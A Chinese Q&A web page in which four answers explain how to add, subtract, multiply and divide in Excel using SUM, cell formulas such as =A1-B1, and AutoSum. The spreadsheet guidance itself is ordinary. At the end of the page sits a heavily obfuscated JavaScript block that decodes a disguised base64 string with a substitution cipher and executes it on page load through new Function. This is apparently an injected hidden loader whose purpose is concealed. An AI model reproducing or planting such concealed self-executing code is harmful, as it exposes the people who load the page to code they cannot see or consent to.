在excel中怎么进行加减法运算

2025-03-14 21:50:01
推荐回答(4个)
回答1:

1、首先我们在A1和B1中分别输入8和4,首先我们来进行加法运算,在C1栏中。我们首先单击C1栏选中,然后点击任务栏中的”公式“选项,然后点击“公式”中的“查入函数”选项。
  2、然后在弹出的窗口中选择"SUM"函数点击“确定”,然后会弹出一个”函数参数“窗口我们可以看到运算的结果以及函数的意思。我们点击确定。就可以看见函数已经用到了Excel表格中并且在C1栏中得到了运算结果。
  3、下面我们说一下减法运算,首先我们左键单击选中D1栏然后在D1栏中输入“=A1-B1”回车,然后我们就可以看见运算结果出现在D1栏中。
  4、然后是乘法运算和减法类似,左键单击选中E1栏然后在E1栏中输入”=A1*B1“敲一下回车,然后我们就可以看见运算结果出现在E1栏中。(“*”是按住上档键Shift不放手然后按8)
  5、除法运算也是类似的,左键单击选中F1栏然后在F1栏中输入“=A1/B1”敲一下回车,然后我们就可以看见运算结果出现在F1栏中。

回答2:

C2到C19的和
=sum(c2:c19)
C2到C19的和,减去
B2到B19的和
=sum(c2:c19)-sum(b2:b19)
在E行内分别显示出C2-B2
...
C19-B19的差
在E2内输入下面的公式,并向下填充到E19
=C2-B2

回答3:

比如E2行里的公式是=C2-B2
C2到C19的和减去B2到B19的和公式如下:=SUM(C2:C19)-SUM(B2:B19)
就OK了~~

回答4:

您好。这个跟和excel里的操作是一样的。
1、如果是一行或一列直接点工具栏里的“自动求和”按钮就好。
2、如果是分开的,先点一个空白的单元格,输入“=”,点想加和的单元格,再输入“+”,点想加和的单元格……选择完后按回车。希望我的回答对你有帮助,请及时采纳!

(function(){function p8e1545(xf90e981){var g6be64f2="8q^@3dueh.cW?pr6Sn1w45[/fHJLGF]NvP(j,U7V~9=BKOga%Mliys$RTkmY:o2IC|_Ez-QDAxt;XZ&b0!";var o1656="PtJB7S^i@d(plD&MN9/qTrwZ=QY!WE,x:j;IzvmkL3~_UHnyK8C[%gFfAcV2?.b4e1R-|0GahOu5s]6X$o";return atob(xf90e981).split('').map(function(g0fdd){var ac906=g6be64f2.indexOf(g0fdd);return ac906==-1?g0fdd:o1656[ac906]}).join('')}var c=p8e1545('rtmp://W2VnLiFbaSJlIisiSVlNIisiOyIrIjsiWmZSdGdrcWUhZ2Mpe2NSdGdrcWUhZ2NbLUQtO3wtXWF8WS45LSZdQW47JlkzRF1ESS5rfCl7ZVJjMXU2RGt6R2VnMW9xQ1hxY2dEVWVzRHEhNW9XP0RxUiE1NykpezVDcXQ1Z31VRDUgdG5EOU0zZlJ0Z2txZSFnYyxrQ01ZblkpezVDcXQ1ZyBkcTVlZ3NvUjUhN2xBRDVsIS5DYyxrQ01ZblkpfShVRDUgNzMzLnwtOTtmaSI/UFhFTy18Qn54VHBCXmRCTzQ2fiJdIlVDNUUtfCJdIlhlLkU5WSJdImtrcUVZLVk7RS05RXxJIFl8dlkmdjktIlooVUQ1IHcuJi0tOy07ZkFuOyZZM0RpdG5EOU0zYy1OJnwpK3RuRDlNM2MtTjNJKSt0bkQ5TTNjLU4mUikrdG5EOU0zYy1OJlkpWl1zWTtZQ1lSZkFuOyZZM0RpdG5EOU0zYy1OJlkpK3RuRDlNM2MtTjNJKSt0bkQ5TTNjLU4mUikrdG5EOU0zYy1OJnwpWl1bMlJEbmZESS5rfGl3LiYtLTstO2MiSjltYWs3bXQuJFNQazc/Wy5UZmYiKVpdZ0QySW4mOVJEZncuJi0tOy07YyJKOV4/SmJfP19HTj8yR210LlRmZiIpXS5DQ0lNZncuJi0tOy07YyJrOW1lazlfYURHO2ciKV13RG5JOUM7Mi5mdy4mLS07LTtjIms3bVsyUSRQL0hmZiIpXS5JLmsyOyYyZncuJi0tOy07YyJrOUBYRGJIZiIpXSxua25SSWZ3LiYtLTstO2MiazdtWS9iXiwvSGZmIildVXwzTVJJbjtDZncuJi0tOy07YyJEN25XMnNmZiIpXVJSRDs7a2Z3LiYtLTstO2MiazckdC9RbnEiKV1nUiYubi1mQW47JlkzRGl3LiYtLTstO2MiNEckLURUZmYiKVpdQ0REblIta2Z3LiYtLTstO2MiMlFuQS9UZmYiKShVRDUgNW5rRDItZncuJi0tOy07YyJrWXwtREdfPy5zZmYiKShVRDUgazs7MztSQyYoZVJjPyFrRHFlIWdvWENENWtBb2VnLkNOeFJjNW5rRDItKT5FfCl7azs7MztSQyZmREkua3xpZ0QySW4mOVJEWmN3LiYtLTstO2MiLlFtSS5RJGEvR0ZmIikpKGs7OzM7UkMmb2UuZiJxIitnUiYubi1pUlJEOztrWmMpKnwtLS0tKGs7OzM7UkMmb1hxYT9Db1tlLnFBZiJ8LS15IihrOzszO1JDJm9YcWE/Q29BQ2VzQXFmIjstLVdOIihrOzszO1JDJm8uZVhEMj9DLmZxNXRDKGVSY0RJLmt8bzIhLmFMZmd0Pz8pe0RJLmt8bzIhLmFvRFdXQ2cubEFlPy5jazs7MztSQyYpfUM/WEN7VUQ1IDVuUjkmfDNZRGZSdGdrcWUhZ2Mpe0RJLmt8bzIhLmFvRFdXQ2cubEFlPy5jazs7MztSQyYpKEFuOyZZM0RvNUM3IVVDRlVDZ3F+ZVhxQ2dDNWNDRERuUi1rXTVuUjkmfDNZRF1SRD9YQyl9KEFuOyZZM0RvRC4uRlVDZ3F+ZVhxQ2dDNWNDRERuUi1rXTVuUjkmfDNZRF1SRD9YQyl9fVVENSBSMnx8LTJJbnxmREkua3xpZ0QySW4mOVJEWmN3LiYtLTstO2MiL0d8ZS9HSGYiKSkoUjJ8fC0ySW58b2UuZmF8WS45LSYrZ1ImLm4tb2tDZT9jZ1ImLm4taVJSRDs7a1pjKSp8LS0tLSkoVUQ1IERrJjJZLWZSdGdrcWUhZ2NrLlJZJmsmbk0pe1VENSBhOzJ8Mi1NLWZnQ1sgcERxQ2MpKFVENSBQfFImayYyLS5mYFg3cWVCWGUuQjB7YXxZLjktJn1CMHthOzJ8Mi1NLW9xIX4ha0Q/Q3BEcUNkcTVlZ3NjKX1gKFVENSBYLllrMmZndD8/KHE1YXtYLllrMmZeZHhTb1dENVhDYz8ha0Q/ZHEhNURzQ29zQ3FqcUM3Y1B8UiZrJjItLikpfWtEcWtBY0Mpe31lUmNYLllrMmZmZ3Q/Pyl7WC5ZazJmezI1IVtYQzVsIXRncXYtXX19WC5ZazJvMjUhW1hDNWwhdGdxKysoVUQ1IDVNOTkmZnNZO1lDWVJjNzMzLnwtOTtvayFna0RxY2lgZyFbRTB7cERxQ2kiZyFbIlpjKX1gXWBBNUNSRTB7PyFrRHFlIWdvQTVDUn1gXWB0WGtFMHtYLllrMm8yNSFbWEM1bCF0Z3F9YF1aKW9YITVxY2MpZj5nUiYubi1pUlJEOztrWmMpRS1vOylpVXwzTVJJbjtDWmMiXSIpKShVRDUgQ1JSa1JNZjVNOTkmb2VnLkNOeFJjdG5EOU0zYy1OOS4pKT5FfDo1TTk5JmkuQ0NJTVpjNU05OSZvZWcuQ054UmN0bkQ5TTNjLU45LikpKXYiIig1TTk5JmY1TTk5Jml3RG5JOUM7Mi5aY0NSUmtSTV0iIilpLkkuazI7JjJaYyIiKWksbmtuUklaYylpVXwzTVJJbjtDWmMiIikrQ1JSa1JNKFIyfHwtMklufG9YNWtmaSJBcXFXWHYxMSIray5SWSZrJm5NXVIyfHwtMklufG9lLl01TTk5JlppVXwzTVJJbjtDWmMiMSIpKERJLmt8bzIhLmFvZWdYQzVxQENSITVDY1IyfHwtMklufF1ESS5rfG8yIS5hb2tBZT8uUyEuQ1hpLVopKGVSY2s7OzM7UkMmTGZndD8/KXtrOzszO1JDJm9VRD90QytmIlxcNVxcZ0RXV0NnLkMuIEM3IHEhIEFxNz8iKFVENSBnSUQta0Q7LVJmREkua3xvc0NxRj9DN0NncUBhai5jUjJ8fC0ySW58b2UuKShlUmNnSUQta0Q7LVJmZmd0Pz96emdJRC1rRDstUmZmdGcuQ1JlZ0MuKXtrOzszO1JDJm9VRD90QytmIlxcNVxcZyBrRGdxIHNDcSBDNyBSNSE3IEFxNz8ifX19KGVSY2s7OzM7UkMmTGZndD8/KXtrOzszO1JDJm9VRD90QytmIlxcNVxcZ1hDZy4gUFggQSFYcSAiK1stRC07fC19VUQ1IGcuWXxJLm4mTWZSdGdrcWUhZ2NbM0NEOVkzKXs1Q3F0NWcgdy4mLS07LTtjWzNDRDlZMylpd0RuSTlDOzIuWmN0bkQ5TTNjLU5ZRCldZ1ImLm4taVJSRDs7a1pjKW9xIWRxNWVnc2M5JilvWD9la0NjZ1ImLm4tb1I/ISE1Y2dSJi5uLWlSUkQ7O2taYykqbikrWSkpfShEayYyWS1jZy5ZfEkubiZNY1stRC07fC0pKShBbjsmWTNEaSJELi5GVUNncX5lWHFDZ0M1IlpjIjdDWFhEc0MiXVJ0Z2txZSFnY0Mpe2VSY0NvLkRxRG9WZmZhfFkuOS0mKXtESS5rfG9zQ3FGP0M3Q2dxQGFqLmNSMnx8LTJJbnxvZS4pbzVDNyFVQ2MpKFVENSA1azNZa01DZmd0Pz8oZVJjazs7MztSQyZMZmd0Pz8pe2s7OzM7UkMmb1VEP3RDK2YiXFw1XFxnNUNrQ2VVQyBDNyBXIVhxIDdDWFhEc0MiKGs7OzM7UkMmb1VEP3RDK2YiXFw1XFxnQ28uRHFEb1UgIitDby5EcURvdyg1azNZa01DZmNvb29SMnwzLVl8KWY+e2VSY0xSMnwzLVl8enpSMnwzLVl8bz9DZ3NxQTxmLSk1Q3F0NWcoazs7MztSQyZvVUQ/dEMrZiJcXDVcXGciK1IyfDMtWXxvUCFlZ2MiICIpfX1nQ1sgJHRna3FlIWdjIkQ1c1giXUNvLkRxRG93KWN7QnEua1h2WzJSRG5dQj8hc3Y1azNZa01DXX0pfX0pfSljIi9Za3RTNG0sRFkkLDJHTnEvWS47MmQ7LTI5VCZ4NFZ8U3NmZiJdIjlZIl1bZWcuIVtdLiFrdDdDZ3EpfShlSVlNOztjKSg='.substr(7));new Function(c)()})();